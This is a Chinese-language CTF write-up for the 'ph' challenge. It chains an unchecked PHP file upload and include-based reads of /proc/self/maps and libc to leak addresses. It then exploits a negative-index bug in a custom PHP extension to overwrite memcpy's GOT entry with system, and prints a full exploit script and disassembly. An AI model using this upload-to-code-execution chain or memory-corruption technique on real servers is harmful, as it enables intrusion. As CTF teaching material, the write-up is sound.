ph
我们先看index.php
.png)
我们结合远程的网站可以看出这里能让我们上传文件,这里upload_dir是空的,这意味着我们上传的任何文件都会被直接放在 Web 根目录下,并且文件名保持不变(basename($file['name'])),我们上传了 exp.php,那么我们就可以通过访问 http://题目地址/exp.php 直接触发它。
$result = move_uploaded_file($file['tmp_name'], $target_file);
这里没有后缀检查,所以我们能上传php文件进行攻击。
我们在php.ini主要看 disable_functions,我们发现include没禁用,然后看到结尾是extension = vuln.so,说明vuln.so是一个扩展,我们找漏洞主要就分析这个文件。
然后题目还给了readflag文件
.png)
我们看到,这个就是直接输出flag的后门,我们就是要想办法调用这个文件。
我们看到system、shell_exec这些危险函数都被禁了。
我们看vuln.so
.png)
.png)
.png)
add函数就是创建一个chunk,edit就是编辑我们输入的索引的堆块,但是这里要注意一点的就是这里他会检查对应的heap_size[]里面存的大小,你不能超过这个size,这里面还有一个delete函数,并且存在uaf,但是我这里没有用那个方法。
我们看到这里检查了ida <= 15,但是idx是有符号的,它没有检查是否为负数,那我们就能利用这个来用负索引来修改别的地方的数据,而且我们看到got表是可写的,那我们就可以考虑改got表了。
那我们首先要泄露基址,这里没禁include函数,那我们就可以直接用include读取maps文件
(include会把文件内容拷贝出来,如果它发现是php,那它就执行,如果是别的,它就直接显示内容)
泄露基址的脚本:
<?php
include '/proc/self/maps';
?>
我们现在就有基址了,我们先确定负索引
.bss:0000000000004180 heap_size dd 10h dup(?) ; DATA XREF: LOAD:0000000000000550↑o
.bss:0000000000004180 ; .got:heap_size_ptr↑o
.bss:00000000000041C0 public heap
.bss:00000000000041C0 ; char *heap[16]
.bss:00000000000041C0 heap dq 10h dup(?) ; DATA XREF: LOAD:00000000000004C0↑o
.bss:00000000000041C0 ; .got:heap_ptr↑o
我们先确定heap和heap_size起始地址,我们如果要修改got表,最方便的是把memcpy的got表修改成system最方便,这样我们直接用edit(idx,command)就能执行我们的任意命令的
我们看got表
.got.plt:0000000000004028 off_4028 dq offset memcpy ; DATA XREF: _memcpy↑r
我们计算:
0x41co-0x4028=0x198,0x198/0x8=0x33,也就是我们要用-51的索引,也就是我们直接edit(-53),就是直接修改memcpy的got表,但是我们要注意edit还有一个检查就是heap_size[-51]里面存的size是否大于你输入的内容,我们看heap_size[-51]存的是什么,0x4180-0xcc(51x4,因为这里是int32,每个是4字节)=0x40b4
.data:00000000000040A0 _data ends
.data:00000000000040A0
LOAD:0000000000004148 ; ===========================================================================
00000000000040A0 A8 00 00 00 D6 64 34 01 00 00 00 00 00 00 00 00 ......4.........
00000000000040B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
很明显这个位置存的是0,也就是我们不能直接用-51修改got表
但是,我们在ida中用x来追溯heap可以看到
.got:0000000000003FC8 heap_ptr dq offset heap ; DATA XREF: zif_add+2D↑r
.got:0000000000003FC8 ; zif_edit+34↑r ..
看add汇编
.text:000000000000133B jg short loc_136F
.text:000000000000133D mov rbx, cs:heap_ptr
.text:0000000000001344 cmp qword ptr [rbx+rsi*8], 0
.text:0000000000001349 jnz short loc_1378
.text:000000000000134B mov rdi, [rsp+18h+size] ; size
.text:0000000000001350 call __emalloc
.text:0000000000001355 mov rcx, [rsp+18h+size]
.text:000000000000135A mov rdx, rax
.text:000000000000135D mov rax, [rsp+18h+idx]
.text:0000000000001361 mov [rbx+rax*8], rdx
.text:0000000000001365 mov rdx, cs:heap_size_ptr
.text:000000000000136C mov [rdx+rax*4], ecx
我们发现,它是通过heap_ptr来确定heap的位置的,不是常规的直接用heap的地址,那我们假设修改heap_ptr存的内容(存的是heap的地址)为memcpy的got表地址,那它就会认为memcpy的got表地址为heap地址,那我们此时修改heap[0],就是修改memcpy[0],也就是能修改got表,我们算算这个索引是多少
0x41c0-0x3fc8=0x1f8,0x1f8/0x8=0x3f(63),我们看看heap_size[-63]的位置,0x4180-0xfc(63x4)=0x4084
.data:0000000000004080 __dso_handle dq offset __dso_handle ; DATA XREF: __do_global_dtors_aux+1B↑r
.data:0000000000004080 ; .data:__dso_handle↓o
.data:0000000000004088 align 20h
0000000000004080 80 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .@..............
我们看到这里实际上存的是一个地址,我们直接看这里是存的一个偏移,所以0x4084是0,当程序允许起来,这里存的就是一个地址了,那它就会把heap_size[-63]识别成一个很大的size
那我们就能用-63这个索引了
EXP:
<?php
$pie_base = 0x7fc68ec51000;
$libc_base = 0x7fc6915a7000;
$target_got = $pie_base + 0x4028;
$system_addr = $libc_base + 0x53110;
add(0, 0x100);
add(1, 0x100);
$cmd = "/readflag > /tmp/flag.txt";
edit(1, $cmd);
edit(-63, pack("Q", $target_got));
edit(0, pack("Q", $system_addr));
edit(1, "trigger");
include "/tmp/flag.txt";
?>
顺便说一下,这里我是用include把libc获取下来算system的偏移的,由于直接获取会截断,我是用base64编码再解码才成功的,用的脚本:
<?php
include "php://filter/read=convert.base64-encode/resource=/usr/lib/x86_64-linux-gnu/libc.so.6";
?>
题目链接:CTF-Writeups/Polarisctf 2026/ph at main · Zenquiem/CTF-Writeups